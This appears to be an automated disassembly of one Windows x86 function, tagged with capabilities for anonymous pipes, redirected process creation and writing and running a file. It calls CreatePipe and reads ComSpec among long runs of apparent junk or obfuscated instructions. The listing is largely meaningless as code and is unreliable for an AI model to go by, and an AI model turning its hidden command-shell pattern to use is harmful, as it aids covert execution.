Function at 0x100b9f57
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create two anonymous pipes
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x10170c30]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x14]
cmp byte [esi], 0
jne 0x100ba0cb
push 0x103
push esi
call ebx
pushfd
test byte [0x100b9fab], 0xdd
jne 0x100b9fac
sbb ecx, dword [ebp - 0x33]
xchg edx, eax
xchg edx, eax
or byte [ebp - 0x3466d9c7], ch
insb byte es:[edi], dx
push edi
xor ah, ch
jno 0x100b9faf
sub eax, 0xfb38167d
cmp dword [ebx - 0x2e], eax
popfd
mov byte [edi + 0x117], 0
pop ss
add dword [eax], eax
add byte [eax], al
pushfd
test byte [0x100ba0b7], 0x79
jne 0x100ba0b8
cmp dword [edx], ebx
aad 0xf4
cmp dword [esp + ebx], ebx
adc al, 0x45
pinsrw mm5, word [esi + 0x20], 0x1f
ror byte [edi + 0x63e1430c], cl
fcom dword [eax + 0x76]
out 0xdb, al
adc cl, cl
sbb eax, ecx
psrad mm7, qword [esi + ebp*8]
mov dl, 0xde
cmp al, 0xb
xchg ebp, ecx
push ebp
pop eax
mov eax, dword [0xd7dc1739]
xor eax, 0xe6fd620e
sub dl, byte [edi + 0x5c]
lodsd eax, dword [esi]
mov edx, 0xe03cad55
or al, 0x46
pop esp
sub byte [edx - 0x2d], 0xd2
je 0x100ba04f
mov ah, 0xab
stosd dword es:[edi], eax
mov ebx, 0xe80c3ecc
adc edi, dword [ebx - 0x55]
je 0x100ba05d
xchg esi, eax
rcr dword [esi + 0x5d], 0x9c
popal
inc edx
push cs
inc dword [eax]
scasb al, byte es:[edi]
je 0x100ba008
and al, 0x8f
in eax, dx
cli
enter 0xffffffffffffa586, 0xffffffffffffffcc
scasd eax, dword es:[edi]
fild qword [eax + ecx*8 + 0x45]
mov dword [0x50a51b28], eax
out 0x79, eax
imul ebp, esi, 0xfa030e70
push ecx
rep stosd dword es:[edi], eax
and al, dh
pushal
out dx, eax
cld
loop 0x100ba0af
add al, 0xb0
xchg ebp, eax
sub esp, eax
mov ah, 0x28
mov esp, 0xfdc05e7
insd dword es:[edi], dx
sub ebp, esp
dec esp
outsd dx, dword [esi]
sbb al, 0xa1
mov ebp, 0xf90bd704
xchg ebx, eax
invalid
loopne 0x100ba0dc
fmul st(4)
push 0x55
pushal
and eax, 0x1f337a2
dec edx
dec esp
fdivr qword [ecx + 0x7fb2633f]
pushal
sbb eax, ecx
lahf
jnp 0x100ba0ef
rcr byte [eax + 0x1b7983ff], cl
shr ecx, cl
jbe 0x100ba02d
sbb ch, byte [ebp - 0xac8c84]
pop ecx
mov edi, 0xd8ea07b0
movsd dword es:[edi], dword [esi]
sub dword [ecx - 0x2bb21fba], edi
cld
xor edx, edi
in eax, 0x9b
mov ebx, 0xecd8fbc4
mov ah, byte [edi - 0xb]
int1
lodsd eax, dword [esi]
inc edx
js 0x100ba0d2
cmp ah, byte [ecx + 0x6a]
outsb dx, byte [esi]
cmp byte [esi + 0x48], ah
test byte [esi - 0x3922a14f], ah
cmpsb byte [esi], byte es:[edi]
mov cl, 0x5e
ffree st(6)
stc
or al, 0xc
cmpsb byte [esi], byte es:[edi]
popfd
test eax, eax
jne 0x100ba0bf
mov byte [esi], al
cmp byte [esi], 0
jne 0x100ba0cb
pop es
xor eax, eax
jmp 0x100ba333
push 0x103
pushfd
test byte [0x100ba11d], 0x1e
add eax, 0x100ba11d
push ds
jne 0x100ba21e
add byte [eax], al
insb byte es:[edi], dx
jecxz 0x100ba11b
das
clc
ja 0x100ba131
lodsd eax, dword cs:[esi]
das
sub eax, eax
stc
jae 0x100ba115
loopne 0x100ba14e
sbb byte [edi + 0x26], bl
jge 0x100ba0c3
cmpsd dword [esi], dword es:[edi]
xor ah, byte [edx - 0x50e3f208]
adc byte [ebx], 0xae
scasb al, byte es:[edi]
add ch, ch
sbb cl, byte [edi - 0x6869af81]
test eax, 0x822575e0
push ecx
scasb al, byte es:[edi]
and dword [eax + 0x11], ebp
mov esp, 0x4f8ff183
dec edi
push ds
sub bh, bl
inc esp
mov ah, 0xe
push cs
add edx, dword [ebx + edi*8]
inc ebp
dec ebx
pop edi
mov ch, 0xb
cmp byte [edi + 0x36f38816], ah
cmpsd dword [esi], dword es:[edi]
mov ah, 0xa1
adc ecx, dword [esi + 0x2a]
jne 0x100ba187
push ebp
pop ebp
mov bl, 0x5e
xchg esp, eax
sar dword [ecx + 0x44], 0x68
cmc
ja 0x100ba13a
sub dword [edi + 0x24], ecx
cmp edx, edx
sbb byte [edi], ah
fstp xword [ebx + 0x13]
aaa
dec esi
out dx, eax
fistp dword es:[edi]
neg dword [eax + 0x1435d5a0]
sbb bh, 0x7e
rcl dl, 0xbe
mov byte [ebp + 0x4c], dl
out dx, al
cwde
mov al, byte [0x801435d5]
fistp qword [esi - 0x40]
sar byte [esi - 0x11b3aa78], cl
fsub st(0), st(0)
int3
jns 0x100ba1ca
sbb byte [edi - 0x45659c6f], dh
and ebx, dword [ebx - 0x40]
add ecx, dword [esi + 0x2f]
cmp eax, dword [eax - 0x80]
inc eax
or byte [edi], 0xd3
sal dword [ebx + ebp*2 + 7], 1
inc eax
add byte [eax - 0x7e], 0xf
rcl ecx, cl
je 0x100ba20a
pop es
mov edx, 0xc30446ac
fisttp word [ecx]
pop edx
push ecx
xchg esp, eax
neg dword [edi + ecx*8 - 0x29]
cmp cl, byte [esi*4 + 0x3a23ef62]
dec esp
lds ecx, [edx - 0xe5ee58f]
mul edx
mov ebp, 0x4567255d
pop ebp
xor dword [ebp + edi*4 + 0x52], ebx
jns 0x100ba196
retf
int1
rep stosb byte es:[edi], al
adc al, 0xd5
inc eax
adc eax, 0x8d8016cd
mov dh, 0xd6
fstp dword [edi]
sub dword [0xff873e7a], 0xffffff8d
cmp eax, 0x9013b31f
out dx, al
xchg byte [ebp + 0x1c913f24], bh
pop ds
adc byte [esi - 0x4a], dh
in al, 0xf2
sbb dh, byte [ecx + 0x1893d7f9]
mov byte [esi], 0x6c
mov ebx, 0x5ed650ea
mov al, 0xcf
nop
dec esi
add eax, 0x3338087f
and esp, esi
dec ebx
lds esp, [edx - 0x1ca4dff8]
push eax
mov bl, 0xd2
cmp byte [edx - 0x5d], bl
cmp eax, 0xa6d7b643
popfd
lea eax, [ebp - 0x108]
push eax
call ebx
mov byte [ebp - 5], 0
test eax, eax
jne 0x100ba236
mov byte [ebp - 0x108], al
cmp byte [ebp - 0x108], 0
je 0x100ba0c4
pushfd
test byte [0x100ba2c3], 0x61
jne 0x100ba2c4
fstp qword [ebp + 0x60]
cdq
shr dword [edi], cl
aad 0x67
push ebp
sub al, 0x1b
jecxz 0x100ba2d5
sub byte [eax + 0x67f4b3ab], dh
aaa
aaa
xchg ebp, eax
mov bh, dl
sbb eax, 0xd589ef5f
add al, byte [ebx + edi + 0x1f9e00f8]
push esi
mov esp, 0xd434107
mov eax, dword [0x6929ef86]
stosb byte es:[edi], al
and dword [edx - 0x72fc5ed4], edx
int3
cmp byte [ecx], al
sal dh, 0x9c
mov dword [esi + 0x5ccee4b0], esp
out dx, al
push edx
and al, byte [eax - 0x36]
popfd
lea eax, [ebp - 0x108]
push eax
push esi
call fcn.1011f079
neg eax
pop ecx
sbb eax, eax
pushfd
test byte [0x100ba31f], 0x57
jne 0x100ba320
mov al, 0x7c
sub al, 0x6b
and dword [eax - 0x2e5277ba], ecx
mov bh, 0x5a
jecxz 0x100ba365
dec esp
in eax, 0xd2
sub eax, dword [esi - 0x4d]
int 0x46
fnstenv [ecx - 0x27]
adc bh, byte [ebp + ebp*2 + 0x63841af5]
salc
mov edi, 0xfe0a5959
movsd dword es:[edi], dword [esi]
or byte [ebx + 0x2d], bl
mov al, byte [edi + 0xd465d23]
push ecx
inc edx
mov ah, 0x40
cwde
imul ebx, dword [eax - 0x21d245d8], 0x63
jns 0x100ba2b3
fisub word [ebx + 0x79]
xchg ebx, eax
popfd
pop ecx
neg eax
pushfd
test byte [0x100ba331], 0x30
je 0x100ba332
push ss
mov al, 0x44
popfd
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1011e48a
leave
ret
bound esi, qword [edi]
aad 0x9a
lodsd eax, dword [esi]
and al, 0x94
sahf
sbb dword [eax], ebp
and al, 0xe6
mov al, 0x2b
shr dword [edi], 1
pop esi
mov edi, 0xb1b0cd06
pop eax
mov cl, 0x2e
pop eax
insb byte es:[edi], dx
mov al, byte es:[0xa07aa4db]
jb 0x100ba31c
mov dword [0xac97ef06], esi
cmp eax, 0xe706d21d
or eax, edi
and dword [ecx], 0x836f1512
inc eax
mov eax, 0xa0122cde
pop edi
sbb eax, 0x987abd28
push ds
cdq
adc bh, 0x84
popfd
mov ebp, esp
sub esp, 0x17c
mov eax, dword [0x10170c30]
xor eax, ebp
mov dword [ebp - 4], eax
pushfd
test byte [0x100ba3ce], 0x3d
jne 0x100ba3cf
mov eax, 0xa3cf1c69
push cs
mov cl, ah
ror dword [edx + 0x496cb048], cl
dec eax
outsd dx, dword [esi]
push edx
out dx, eax
loopne 0x100ba350
mov eax, dword [0xed1c7aab]
lahf
sbb byte [ecx + 0x72], dl
popfd
mov eax, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x11c], eax
call fcn.100b9036
xor esi, esi
inc esi
pushfd
test byte [0x100ba430], 0x33
jne 0x100ba531
mov eax, 0x95eef287
cmp byte [esi + ecx*8 - 0x1915453c], bh
xor al, 0x1d
mov dword [edx + ebx*8 - 3], ecx
int3
popfd
cmp eax, esi
pushfd
test byte [0x100ba545], 0xc
jne 0x100ba646
fld st(0)
xlatb
fimul word [edx + ebx]
test dword [edi - 0x7ece2e22], ebx
pop esi
sbb al, 0xc9
and ecx, ecx
push eax
fisubr word [ebx]
pause
shl byte [eax + 0x75a3f348], 1
rcr dword [ebx - 1], 0x2b
mov eax, 0x9c496a87
ficom word [edx]
pop ebp
dec ebx
cmp dword [eax], esi
fisub dword [ecx - 0x2b80641c]
ror byte [esi + edi - 0x5a], 1
sahf
sahf
push ebp
add ebp, 0xa56a381a
inc esi
sti
cli
dec edx
or eax, 0x54ef89f9
sahf
cmp ch, 0xe7
nop
stosb byte es:[edi], al
int 0xd4
mov cl, 0x13
jae 0x100ba59a
dec edx
push ebx
sub bl, byte [ecx - 0x10]
rcr dl, 1
jnp 0x100ba612
add eax, 0x3db786ec
add eax, 0x666a6e82
jbe 0x100ba5c2
xchg ebp, eax
pop ss
xor eax, 0xea5011f8
shr dword [ebx + 0x7eda9c59], cl
add dword [ebp - 0x11], 0x90781d27
and dword [esi + 0x20998986], eax
or ch, 0x23
mov dword [ecx + 0x23cd8220], ebx
and edx, dword [0xeb1ecb7b]
adc eax, 0xeb1ecb7b
out 0xeb, eax
sub eax, 0x6cd31ae1
mov esi, 0x2357ae60
mov bh, 0x1e
xchg ecx, eax
ror dword [edx], cl
mov bl, 0xb7
add eax, 0xffe854ae
push esp
xor dh, byte [ecx - 0x51]
fstp qword [esi - 0x768cfe0d]
mov byte [edi + ebp*4], dh
ficom word [esi]
xor al, 0x30
mov dword [0xf1b5904], eax
ja 0x100ba5c7
fild word [bx + di - 0x3f]
and byte [edi], dh
jb 0x100ba615
nop
fnstsw word [ebp - 0x77]
sbb eax, 0x7b2e39de
ror byte [ebp - 0x1be0ac27], cl
push es
pop ds
in al, 6
popal
inc byte [edi - 0x1456ec23]
push edx
pop es
or eax, 0xc9a47b51
ficom word [edi - 0x3df13752]
push ds
and ebp, dword [ebp + 0x61]
cmp edi, dword [ebx + 0x16]
dec eax
sbb esp, ebp
mov dword [edi - 0x2e87feff], edx
lahf
fnstsw word [esi]
dec di
lodsd eax, dword [esi]
pop ds
dec eax
mov esp, 0xf0488073
popfd
jne 0x100ba650
mov eax, esi
jmp 0x100bb64d
push ebx
mov ecx, edi
pushfd
test byte [0x100ba722], 0x71
jne 0x100ba723
imul ebx, dword [edi - 0x3e], 0xffffffcd
enter 0xfffffffffffffe9e, 0xffffffffffffffca
adc bl, bh
or edi, dword [ebp + 0x3485198a]
mov edx, 0x4d1abab5
pop edx
fnstenv [0xd18f7956]
xlatb
in eax, dx
div byte [esi - 0x30]
or dword [ecx - 0x5558e00a], esi
pop ss
mov bh, 0x86
popal
pop edi
mov bh, 0x4a
int3
popfd
call fcn.100b90dd
xor ebx, ebx
pushfd
test byte [0x100ba765], 0xdf
jne 0x100ba766
stosb byte es:[edi], al
ja 0x100ba790
pop eax
je 0x100ba73c
aas
dec edx
mov eax, dword [0xf4140193]
xchg ebx, eax
add dword [esp + esi*8], edx
or esp, dword [ebp - 0x1235449b]
jbe 0x100ba7ab
jbe 0x100ba748
fcmovb st(0), st(1)
fidivr dword [ebp - 0x47]
jns 0x100ba73e
aam 0xed
mov al, byte [0x86e01d4a]
push esp
arpl dx, bp
dec edx
popal
pop ss
and al, bh
aaa
add al, 0xff
xchg esp, eax
popfd
push ebx
pushfd
test byte [0x100ba793], 0x19
jne 0x100ba794
xchg ebx, eax
bound edx, qword [ebp - 0x45]
aad 0xb0
xchg ebp, eax
or esp, dword [edx - 0x3dd61462]
int1
adc al, byte [esi - 0x6dec639e]
cmpsd dword [esi], dword es:[edi]
or eax, 0x1888920e
test al, 0x9a
dec ebp
xor ch, byte [esi + ecx]
sub al, 0xe
inc edx
push ss
popfd
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x120], esi
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push eax
mov dword [ebp - 0x118], ebx
mov dword [ebp - 0x110], ebx
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x128], 0xc
mov dword [ebp - 0x124], ebx
call esi
push ebx
lea eax, [ebp - 0x128]
push eax
pushfd
test byte [0x100ba7fd], 0xb8
jne 0x100ba8fe
loopne 0x100ba7ab
invalid
jne 0x100ba824
imul ecx, dword [esi], 0xf0f1cffa
neg byte [edi]
sbb ebx, eax
movsd dword es:[edi], dword [esi]
push cs
cmp byte [0xf712cbbf], dl
dec ebp
add bh, byte [ebx + 0x70]
jnp 0x100ba87e
out dx, al
into
jo 0x100ba80c
push cs
dec esp
jo 0x100ba820
cdq
mov esp, 0xbf8eb22c
fninit
mov bh, 0x76
mov al, byte [0x7ed97ef4]
jecxz 0x100ba845
jle 0x100ba854
jecxz 0x100ba845
cmpsb byte [esi], byte es:[edi]
jg 0x100ba87b
int3
xchg cl, al
lahf
lodsd eax, dword [esi]
mov ch, cl
test dword [eax], edx
push 0xffffffffffffffd2
sti
sar bl, cl
lea ebp, [eax - 0x10]
mov eax, 0x3ff60559
dec esp
mov ebx, 0x7cc627be
inc eax
jl 0x100ba8a0
cmp al, 0x1f
or al, byte [ebx - 0xb54ab73]
loop 0x100ba84f
rcr byte [edx - 0x5470d4e], 0xd
in eax, dx
pop esp
cmpsd dword [esi], dword es:[edi]
popal
mov word [ebp + 0x737e81c2], cs
xchg dword [ebp + 0x3d], ecx
cwde
add esi, eax
sub al, 0x1c
pop ds
lodsb al, byte [esi]
adc byte [esi - 0x6203d100], bh
cmpsb byte [esi], byte es:[edi]
ror byte [eax + ecx*2 + 0x1d866a41], 0x67
in eax, dx
jnp 0x100ba85e
outsb dx, byte [esi]
jns 0x100ba8dd
movsd dword es:[edi], dword [esi]
sar byte [edi + esi*2 + 0x37], cl
test eax, 0xde259582
mov edi, 0x75ef6132
sbb eax, 0x4c267ad3
adc byte [ebp + 0x32bfde25], 0x61
out dx, eax
jne 0x100ba8c7
sar dword [edx + 0x26], cl
dec esp
pop eax
pop ss
inc ecx
aas
and byte [ecx], bh
popfd
jg 0x100ba921
jne 0x100ba8ce
imul edi, ecx, 0x6d3b2d1c
salc
int 0xe9
push ss
mov edx, 0x85785d9
xchg edx, eax
push edi
or byte [edx - 0x3ea95cb4], dl
dec esp
mov dword [0x4fedc156], eax
in eax, dx
dec edi
push ss
popfd
or eax, 0x3bb09b99
jno 0x100ba93b
mov cl, 0x29
int3
sub al, byte [esp + eax*8 - 0x70]
pushal
pop ss
int3
popfd
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x110]
push eax
call esi
pushfd
test byte [0x100baa01], 0xcf
jne 0x100baa02
pushal
std
jl 0x100ba8ca
xchg ecx, eax
jae 0x100ba948
fmul qword [ecx]
adc eax, 0x78eb4457
push edi
arpl si, ax
test eax, 0xd230a7e8
les ebx, [edx + 0x44]
int 0x6b
inc esp
cmp bh, byte [edx]
arpl word [esi], ax
cmp ah, byte [ebx + 6]
mov ecx, 0xc8fd7fb8
leave
into
sub bl, byte [ecx]
push ebp
cmpsb byte [esi], byte es:[edi]
mov ebx, 0xf47c8140
add al, byte [edx - 0x26bc34a0]
mov dh, 0x8a
jne 0x100ba9b0
add dh, byte [edx + 0x4e]
pop esp
jecxz 0x100ba97d
les esi, [ebx - 0x34]
adc ebp, dword [eax]
pop eax
cmp al, 0x48
and al, byte [esi]
xor byte [edx - 0x3cc1218f], al
mov esp, dword [ebp + 0x38]
outsb dx, byte ss:[esi]
cmp byte [esi], dh
outsb dx, byte [esi]
outsb dx, byte [esi]
jno 0x100ba970
xchg edx, eax
inc esp
or ebx, dword [esi - 0x310b8c17]
cmp al, 0xb1
cwde
push eax
or eax, 0x5dd106e1
mov cl, 0x94
push es
ficom dword [ebx + 0x3458fddf]
sti
hlt
xor edx, dword [0xe08ec81]
cmp dword [ecx + edi*2 - 0x1c9e6930], 0x4049f57a
js 0x100ba94e
fisubr dword [esp + 3]
sbb byte [esi + 0x5d], cl
add dword [ebx - 0x2befb355], edi
adc ah, dl
mov ch, 6
aam 0x9e
int1
mov ch, 0xa6
aaa
test dword [0x4dc9a715], 0x8a3f4402
xchg edi, eax
das
sahf
mov ecx, 0x8bc63e53
and eax, 0xe1a4b672
lds ebp, [esi - 0x4632b28f]
pushal
inc edi
dec ebp
dec edi
insd dword es:[edi], dx
cmp al, 0xcc
push ds
je 0x100ba9ff
fimul word [edx - 0x41]
or dword [esi], ecx
out dx, eax
jge 0x100baa1c
add dword [ebx], edi
das
clc
ja 0x100baa01
xchg byte [ecx + 0x561c110], bh
clc
and eax, dword [ebx + 0xb]
pop ebp
aaa
dec eax
int3
dec ebx
movsb byte es:[edi], byte ss:[esi]
movsb byte es:[edi], byte [esi]
popfd
push 0x44
pushfd
test byte [0x100baa6e], 0x30
je 0x100baa6f
ja 0x100ba992
pop esi
add byte [ebp + 0x70], ch
out 0xdd, eax
inc edx
fistp word [edx - 0x3f58487]
or bh, ah
sal dh, 0xff
push edi
cmpsb byte [esi], byte es:[edi]
pop ebp
aaa
in al, 0xc3
mov dword [0xcbd275ca], eax
mov dword [edi], esi
mov al, byte [0xfd9a5df6]
inc esi
add byte [ebx + ebp], dh
outsb dx, byte [esi]
mov dword [0xdcfac352], eax
mov ebp, dword [ebx - 0x5c514ee3]
add al, dl
push 0xfffffffffffffffb
fsubp st(6)
cwde
mov eax, 0xa43687a
cmp ah, byte [0x73e3c1ac]
adc ebp, esp
mov esi, 0x650bb45c
rcr ebx, cl
out dx, eax
outsb dx, byte [esi]
cli
jge 0x100baa7d
jae 0x100baab5
xlatb
xor ebp, dword [edi + 0x1f]
xor eax, 0x568e083
popfd
pop esi
push esi
lea eax, [ebp - 0x16c]
push ebx
push eax
call fcn.1011df60
pushfd
test byte [0x100baacc], 0x65
jne 0x100baacd
push es
add byte [esi + esi*8 + 0xbaacc05], bl
adc byte [ebp + 0x75], ah
inc esp
pop edi
mov eax, dword [0xcf9730b8]
pop esp
xor byte [esi - 0x19], 0xda
scasb al, byte es:[edi]
fst dword [edi - 0x3ed17e5e]
dec ecx
sub byte [ebp - 0x30], al
sub byte [edx - 0x6bed8cd], dh
and eax, 0x5547c981
test byte [ecx], al
and edx, edx
pop eax
sbb dword [edx], ebx
and dword [edx], esp
xchg esi, eax
sbb dword [ebx], 0x8c47b46d
xchg ecx, eax
imul esp, dword [edi - 7], 0x24a33113
int 0xd9
mov word [ecx + 0x13f96769], ss
xor dword [ebx - 0x263298dc], esp
mov edx, 0xdee9edb
push esp
popfd
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x134], eax
xor eax, eax
push 0x104
mov word [ebp - 0x13c], ax
mov word [ebp - 0x13a], ax
lea eax, [ebp - 0x108]
pushfd
test byte [0x100bab65], 0xbc
jne 0x100bab66
loopne 0x100baaba
call dword [edi + 0x10]
dec ebx
xor esp, dword [eax - 0x3dad7e0b]
test byte [ecx - 0x5489c960], dl
cmc
adc dword [edx - 0x3e], 0x36a09184
jbe 0x100baace
dec eax
inc edi
sub eax, 0xc65a7d4a
int 0x98
mov al, byte [0xde130fbf]
std
add al, 0xad
dec eax
movsd dword es:[edi], dword [esi]
dec edi
outsd dx, dword [esi]
mov cl, 0x47
imul esp
imul edi, ecx, 0xffffffac
adc al, ah
cld
add esi, dword [ebx + 0x7e]
adc byte [edi + 0x70], bh
dec edx
cmp al, 0xa6
inc eax
or eax, dword [ebx]
call [ebp + 2]
jbe 0x100bab19
invalid
popfd
push ebx
push eax
mov dword [ebp - 0x140], 0x101
mov dword [ebp - 0x138], ebx
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x16c], esi
call fcn.1011df60
pushfd
test byte [0x100bac64], 0xcc
jne 0x100bac65
or dword [esi - 0x73a8330f], ebx
sbb byte [ebx], 0xb
xchg edx, eax
in al, 0x4f
jl 0x100bac1a
jl 0x100bab73
pop ebp
xchg esi, eax
into
push cs
insb byte es:[edi], dx
push cs
xor dword [ebx], 0x11
cld
inc ebx
call 0xbde1d13d
mov dh, 0xca
mov al, byte es:[0x91d78f92]
les edi, fs:[eax + 0x105821eb]
cld
int1
pop esi
pop ecx
cmp ah, 7
inc esi
xor al, 0xf8
fld dword [0x2ebff665]
lodsb al, byte [esi]
lodsb al, byte cs:[esi]
mov bh, byte [edi - 0x19]
int 0x5f
int3
das
mov ebp, 0x6be00c3
test dword cs:[ebp + 0x6302982f], ecx
inc ebx
and eax, 0x94053794
and ch, cl
cmp dl, byte [edx]
jecxz 0x100babd7
ret
inc ebx
inc esi
ficom dword [esi + 0x74e57866]
cmp dh, byte [ecx - 0x6b]
cwde
xor byte [edx], al
in al, dx
neg byte [edx - 0x571ee95b]
aas
fcomp qword [edi - 0x38e68469]
mov dword [edx + 0x14], esi
test dword [edx + edx*4], edi
xchg dh, bh
mov eax, dword [0xc683a00f]
xor eax, dword [edx]
lodsb al, byte [esi]
jae 0x100bac56
invalid
sub byte [edi], bh
pop eax
stosd dword es:[edi], eax
popfd
mov eax, dword [ebp - 0x11c]
add esp, 0x18
cmp eax, ebx
je 0x100baec0
cmp byte [eax], bl
je 0x100baec0
pushfd
test byte [0x100bad6e], 0xc8
jne 0x100bad6f
jge 0x100bac1c
jne 0x100bacfa
inc edi
adc ecx, dword [ebx + 0x69e84e83]
scasb al, byte es:[edi]
jae 0x100bacc9
imul ebp, dword [esi - 0x586fd18d], 0x6e8e9c3b
inc eax
mov byte [0x48542bc3], al
sbb dword [esi - 0x13], edi
nop
cmpsd dword [esi], dword es:[edi]
cmp ebx, dword [esi + ecx*4 - 0x3c5dbf92]
sub edx, dword [eax + ecx*2 + 0x19]
jle 0x100bac97
mov ebp, 0x6f6dcbf3
dec edx
sbb byte [edi + edi*2], cl
sti
cmp eax, 0x3e25b55
cmpsb byte [esi], byte es:[edi]
sbb ah, byte [esi + 0x557f3731]
inc edi
aaa
push esi
popfd
cmc
adc ah, byte ss:[edi]
pop edx
dec edi
mov eax, 0xe4643c0f
sub bh, byte [eax + 0x32]
ror bl, 0x9d
cwde
lodsb al, byte [esi]
pop ds
xor eax, 0xfa3a0cd1
push 0xffffffffffffff91
lea esp, [esi - 0x13]
in eax, dx
push ebx
push edx
aaa
out 0x56, eax
and al, 0xc4
mov edi, 0x1034ac75
cwde
inc esi
je 0x100bac92
pop ebx
inc esp
cmpsb byte [esi], byte es:[edi]
test byte [edx], bl
push esi
mov ah, 0x80
mov dword [0xf5f406ec], eax
int 0x28
push ebp
add dword [edi + 0x6e], 0xffffffb4
into
and byte [ebx - 0xa0bf914], 0xcd
sub byte [ebp - 0x7d], dl
inc edi
outsb dx, byte [esi]
mov ah, 0xce
dec ebx
or edi, edi
frstor dword [esi + 0x69]
add edx, ebx
sti
int 0x2a
inc esp
cmp ebp, dword [edi + 0x71]
add dword [ecx], ebx
mov bl, byte [edx - 0x57]
adc dword [esi + 0x38990082], esi
xor ch, byte [edi - 0x25]
dec ebx
mov al, 0x21
mov eax, 0x2e03dabf
sbb al, 0x83
jne 0x100bace1
xchg esp, eax
push cs
int3
popfd
push 0x103
push eax
pushfd
test byte [0x100bae44], 0x8e
jne 0x100bae45
adc cl, cl
mov bh, 0x80
cmp eax, esi
pop ebx
jnp 0x100bad14
xor dword [ecx + 0x6c], esi
insb byte es:[edi], dx
or al, 0xe4
jg 0x100bad8f
push esi
inc edi
into
cwde
sbb al, 0x76
dec edi
and al, 0x3a
jae 0x100bae01
mov word [ecx], cs
sar byte [edi], cl
sub al, 0x70
mov eax, 0xff8c391
dec esp
int3
mov al, byte [0xf7f0af06]
fadd qword [ecx + 0x2be6a17f]
test dword [edi - 0x5d], esi
daa
sbb cl, dl
jge 0x100badfc
cmc
mov ecx, dword [eax]
inc esp
mov cl, byte [esi - 0x3d758370]
bound ebp, qword [esi]
in al, 0x5b
outsd dx, dword [esi]
pop ds
lahf
and edi, dword [ebp - 0x80]
test eax, 0xaa1b325c
push cs
div byte [ebp + 0x6d]
insd dword es:[edi], dx
shr dword [ebp + 0xe721b89], 0xc9
mov ecx, 0xa48df086
xchg esi, eax
and dword [edx - 0x3a], 0x476c4286
xchg al, dh
lea esp, [esi + edx*4 - 0x79399d7f]
inc edx
insb byte es:[edi], dx
xchg byte [edx + 0x6c], al
inc edi
xor eax, 0x1cba2223
movsd dword es:[di], dword [si]
dec ecx
and esp, dword [edx]
mov edx, 0x49a5671c
int1
jne 0x100badbb
popfd
inc esi
push 0x58787071
jns 0x100bae62
push esi
or dword [ebx + 0xd], edi
ja 0x100badf4
jge 0x100badeb
cmc
dec ecx
das
call edx
mov bl, 0xb0
mov dword [0x68c77d4b], eax
adc al, 0x6a
mov esi, 0xdbab8fcf
cwde
scasb al, byte es:[edi]
stosb byte es:[edi], al
xor dword [edx - 0x16], eax
scasd eax, dword es:[edi]
cmp al, byte [esi]
and dword [ebp + ebx*2 - 4], 0xfffffff8
cld
clc
mov ebx, 0xc718e586
sbb bh, al
arpl bp, bx
popfd
lea eax, [ebp - 0x108]
push eax
pushfd
test byte [0x100baeb1], 0xc3
jne 0x100baeb2
jl 0x100bae3c
jo 0x100bae6c
inc dword [ecx]
leave
and byte [eax - 0x52], ah
adc eax, 0xa92e9cbb
sub al, 0xd6
mov ebx, 0x2ca92e9c
salc
push ebx
cmp al, 0xeb
and ebx, dword [ecx + 0x7392d58d]
xchg esi, eax
xor eax, 0xbcc3da3f
or eax, 0x3d356434
xchg esp, eax
inc esp
loop 0x100bae41
cdq
invalid
fisubr dword [edx - 0x1b]
and esp, dword [ebp - 0x5d]
js 0x100bae46
in eax, dx
mov eax, 0x7bdbdc3d
xchg esi, eax
pop ss
add byte [eax - 0x6dcd7f9b], 0xdc
mov bl, 0xe
add al, 0x3a
popal
add ecx, eax
std
add dh, byte [edi - 0x6b0d04fc]
loopne 0x100bae39
test al, 0x64
cmp dl, byte ds:[edi]
jae 0x100baef8
test edi, edi
popfd
call fcn.1011eb18
add esp, 0xc
jmp 0x100bafaa
push 0x103
pushfd
test byte [0x100baf96], 0xb
jne 0x100baf97
stosd dword es:[edi], eax
lahf
dec edi
mov bh, 0x86
call 0xb6ec3286
stosb byte es:[edi], al
imul dword [ebp]
daa
mov al, byte [esi + 0x36d27355]
fisub word [edx]
scasd eax, dword es:[edi]
mov esp, 0x8e332011
fcmovnbe st(0), st(4)
adc eax, dword [ebx + 0x40]
pop edi
add dword [ecx - 0x197e7f1a], ebx
mov esi, dword [ecx]
lock or dword [edi + edx*4 + 0x16], edi
add ebp, dword [eax + 0x4e571df7]
mov edx, 0x6f520e37
mov eax, dword [0x438191b6]
cmp al, 0x76
pop eax
call 0xa086d548
sal dword [edi], 0xad
add byte [edi + 0x7e18db48], ch
cli
int1
jno 0x100baf6f
ror al, cl
les esi, [ecx + 0x77]
js 0xa48334de
cli
rcr esp, 1
jne 0x100baf9e
or byte [edi], cl
and ch, byte [ebx]
out dx, al
sbb al, 0x88
int1
aad 0x53
arpl word [ecx - 0x1c2b9f95], sp
mov ah, 0xe7
ficomp word [ebx - 0x52371c8b]
or al, 0x23
or dword [esi], ecx
push 0x4a
add ch, byte [ebp - 0x3e]
inc esp
aam 0xfe
popfd
std
pop es
mov ebx, 0x342d4c77
push ds
mov bl, 0xb6
mov cl, 0x8d
adc byte [edi - 0x1a], 0x26
out 0x26, al
mov al, byte [0xe12a83cf]
xchg ecx, eax
fld dword [edx + 0x64]
lahf
lds eax, [edi + 0x1d]
stosb byte es:[edi], al
dec ebx
scasd eax, dword es:[edi]
cmp eax, 0x198dcebd
sub eax, 0x1765012f
push 0x9babe03
add ebx, edx
sub dword [edi], ebx
mov dh, 0x7a
popfd
lea eax, [ebp - 0x108]
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
